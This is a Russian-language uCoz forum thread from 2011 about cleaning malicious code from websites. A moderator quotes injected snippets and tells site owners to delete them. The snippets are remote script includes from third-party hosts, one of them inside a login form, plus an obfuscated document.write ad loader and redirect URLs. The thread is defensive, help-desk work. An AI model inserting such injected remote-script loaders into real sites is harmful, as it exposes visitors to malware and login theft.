Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1426 | 16:57:53 22 Ноя 2011
Dimka8413, из блока радио на сайте выделенное красным удалить
Quote
<!-- <block212> -->
<div class="box">
<div class="box1p"><!-- <bt> -->Радио на сайте<!-- </bt> --></div>
<div class="box2s"><!-- <bc> --><object type="application/x-shockwave-flash" data="http://player.sunshinefm.ru/uppod.swf" width="182" height="70" id="player"><param name="allowScriptAccess" value="always" /><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script><param name="wmode" value="transparent" />...

из блока кто где живет удалить битый скрипт
Code
<script type="text/javascript" src="http://themeforall.ru/javascript.js"></script>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
vlad291308
Сообщений: 1
Репутация: 0

Сообщение # 1427 | 21:15:39 22 Ноя 2011
http://newgirl-tv.ucoz.ru/ вот тут начал появляться вирус обновите браузер посоветуйте что сделать

Добавлено (22-Ноя-2011, 21:15:39)
---------------------------------------------
http://img.wb-rotator.info/5/6/f/56f744d0-0c53-11e1-ab20-00163e415386.swf?link1=http://uno.wb-rotator.info/?t=clk%26u=http%3A%2F%2Fnewgirl-tv.ucoz.ru%2F%26ref=http%3A%2F%2Fnewgirl-tv.ucoz.ru%2Fforum%2F%26pid=21212%26uid=4b658820-64db-4748-9358-7e7 7c576ce7a%26sid=305209658%26ct=14%26crid=10478%26itck=q98Uu8ndt7cYwV-pTWT7p1eNW-0F_Wp3%26rej=0 вот даже ссылку на фрейм нашел а где он сам не знаю там (появляются разные изображения)

под всеми пользователями проявляется 2 раза обновишь и все перестает исчезает а потом только как ип адрес поменяешь опять такое помогите где этот код может быть
сайт http://newgirl-tv.ucoz.ru/

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1428 | 21:42:16 22 Ноя 2011
vlad291308, шаблон где-то взяли? в верхней части сайта находится ваш ротатор и ещё немного грязи
Quote
<link rel="shortcut icon" href="/images/favicon.ico" />
<!-- START -->
<script language="Javascript">
var tizw = 0; <!-- ширина тизеров -->
var nobg = 0; <!-- значение 1 - делает фон таблицы прозрачным -->
var vref = 0; <!-- 1 - показывать реф-ссылку, 2 - нет -->
var nod = 0; <!-- если 1 - то будут выводится объявления из разных категорий -->
var ref = escape(document.referrer); var server = 'ad.tizerbox.ru';
document.write('<scr'+'ipt type="text/jav'+'ascript" src="http://'+server+'/tizers.php?sid=2799&bid=2958&nod='+nod+'&tizw='+tizw+'&nobg='+nobg+'&vref='+vref+'&ref='+ref+'"></scr'+'ipt>');
</script>
<!-- END -->
<!-- Code -->
<script type="text/javascript">
(function(){
var rb = document.createElement('script');
d = new Date();
d.setHours(0);
d.setMinutes(0);
d.setSeconds(0);
d.setMilliseconds(0);
rb.type = 'text/javascript';
rb.async = true;
rb.src = '//s1.rotaban.ru/rotaban.js?v=' + d.getTime();
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(rb);
})();
</script>

<!-- Ad Code -->
<script language="javascript" src="http://uno.wb-rotator.com/?t=br&pid=21212"></script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


все выделенное красным можно смело удалять
панель управления - управление дизайном - список шаблонов - глобальные блоки - верхняя часть сайта
или страницы сайта смотрите в самом верху кода.
на форуме тизеров нет. зато есть ротатор и баннерная реклама
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
VANchick7741
Сообщений: 2
Репутация: 0

Сообщение # 1429 | 17:30:39 25 Ноя 2011
у меня такая проблема:
установил новое меню с http://wallaby.ucoz.ru
и теперь админ бар при включенном конструкторе становиться пустым, и конструктор никак не отключить, не очистив при этом куки.
мой сайт: http://voshe.ucoz.ru/
можно-ли что-то сделать, не убирая при этом меню?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1430 | 17:42:04 25 Ноя 2011
VANchick7741, сначала выгребаем грязь с сайта
из формы входа выделенное красным удалить
Quote
height="19" width="19" >Логин</td><td><script src="http://izizi.ru/1.js" type="text/javascript"></script>
<input class="loginField" type="text" name="user" value="" size="19" style="width:100%;" maxlength="50"/></td></tr>

а теперь по теме
конфликт кода вызывает вот эта связка
Quote
<script type="text/javascript" src="http://wallaby.ucoz.ru/js_template/jquery_010.js"></script>
<link media="screen" href="http://wallaby.ucoz.ru/js_template/010.css" type="text/css" rel="stylesheet" />
<script type="text/javascript" src="http://wallaby.ucoz.ru/js_template/libs_010.js"></script>
особенно выделенное синим

у вас на сайте уже подгружена старая бибилиотека 1.3.2

выделенный код подгружает 1.4.4
даже если вы в пу переподключите библиотеку вряд ли будет работать, но можете попробовать
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
krasava4835
Сообщений: 2
Репутация: 0

Сообщение # 1431 | 23:46:03 25 Ноя 2011
здравствуйте
http://ebesucher.ucoz.com/
сегодня пользователь пожаловался что антивирус не пусквет на сайт
проверка на вирусы выдала следующее
Avast 6.0.1289.0/20111125 вирус [JS:ScriptIP-inf [Trj]]
GData 22.287/22.529/20111125 вирус [JS:ScriptIP-inf ]
проблема на всех страницах
как с этим бороться
заранее спасибо
{USSR}Otto
Сообщений: 5
Репутация: 0

Сообщение # 1432 | 00:20:32 26 Ноя 2011
здравствуйте случайно обнаружил вредоносную ссылку на моём сайте Ussrclubza30 ( обнаружено: троянская программа Trojan-Downloader.JS.Agent.glk URL: http://weter44.aelita.fr/content/cph2.php?c=17//cph2 ),не знаю где можно её найти и удалить. Буду очень благодарен за помощь.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1433 | 00:41:23 26 Ноя 2011
krasava4835, реакция может быть на счетчик от трафбиза
что именно выдает антивирус пользователя и какой?

{USSR}Otto, на каких страницах обнаруживается проблема?
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
{USSR}Otto
Сообщений: 5
Репутация: 0

Сообщение # 1434 | 01:13:27 26 Ноя 2011
После вашего визита вредоносная ссылка почему то исчезла :)))))))
krasava4835
Сообщений: 2
Репутация: 0

Сообщение # 1435 | 07:38:09 26 Ноя 2011
все что он мне прислал:
Я конечно прошу прощение, но блокирует вход из-за вируса
URL: http://ebesucher.ucoz.com/index/prodat_e...
Процесс: file://C:%5CProgram Files%5CMozilla Fire...
Инфекция: js:ScriptIP-inf [Trj]
другой информации нет
hazardcd
Сообщений: 4
Репутация: 0

Сообщение # 1436 | 16:35:14 27 Ноя 2011
Мой сайт: hazardcd.ucoz.net
Многие серфы блокируют сайт из-за каких-то вредоносных ссылок.
Помогите разобраться пож!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1437 | 16:58:19 27 Ноя 2011
hazardcd, вас не смущает что ваш сайт мертв и посещают его только автосерферы? и подобная накрутка запрещена, если вы не знали
блок реклама смотрите там грязь.
Quote
из-за каких-то вредоносных ссылок.
каких именно? на вашем сайте три экрана с прокруткой списка внешних ссылок. мне каждую перебирать? перебирайте сами
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Free-Fire
Сообщений: 1
Репутация: 0

Сообщение # 1438 | 12:20:21 28 Ноя 2011
Cайт: http://green-x.3dn.ru
Проблема: Перекидывает на другую страницу. Вот эту: http://rtyyr654.aelita.fr/main.php?page=4932fef852be02ae
Так только на главной и если ты гость, а не пользователь.
tan55572
Сообщений: 15
Репутация: 8

Сообщение # 1439 | 12:58:15 28 Ноя 2011
Добрый день!
Посмотрите эту ссылку:
Можно ли ее использовать на свем сайте,если нет,то как ее "переделать"(просто удобно работать с фото на этом webasyst)
Kyr0k
Сообщений: 1
Репутация: 0

Сообщение # 1440 | 09:35:31 29 Ноя 2011
Уважаемые технические администраторы, помогите решить проблему с сайтом http://cstrike-russ.3dn.ru/ заходя на главную страницу или при регистрации перекидывает на другой сайт:
Code
http://pagesinxt.com/?dn=vseprikoly.net&fp=yIIuyjqwBAkDxq4fFS9D0nkNaFQazpg1FGQ%2BkqQkrPajZIFoKe85pfme8HVsDZnKQ%2FGZy3GF1paihp2AeJuTJg%3D%3D&prvtof=M82eLcTvaY%2BDqa%2Fd9gZGsXsOTy1EDdgfR1M1Q1o%2BAyXhYdr1WYmHmxaAKSp5p835j122ZiaoYz65%2B%2BEWZrmfow%3D%3D&poru=%2Fn1UCbTQ2eiWKeSMJR7cBo%2FZcgSBtYCF%2BHr9xlMPXAHim3vzWjtY4%2Fwgjhy%2FcRrCorY6AHhgtEaD1ORhX7ECEgXmAbqkDSmoXWYoqMLbKjI%3D&cifr=1&flrdr=yes&nxte=js.


Пересмотрел все коды, все шаблоны всё перебрал, найти не могу в чем причина, выше написанные посты читал по похожим проблемам, подобных проблем не нашел. Помогите если можете.
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск: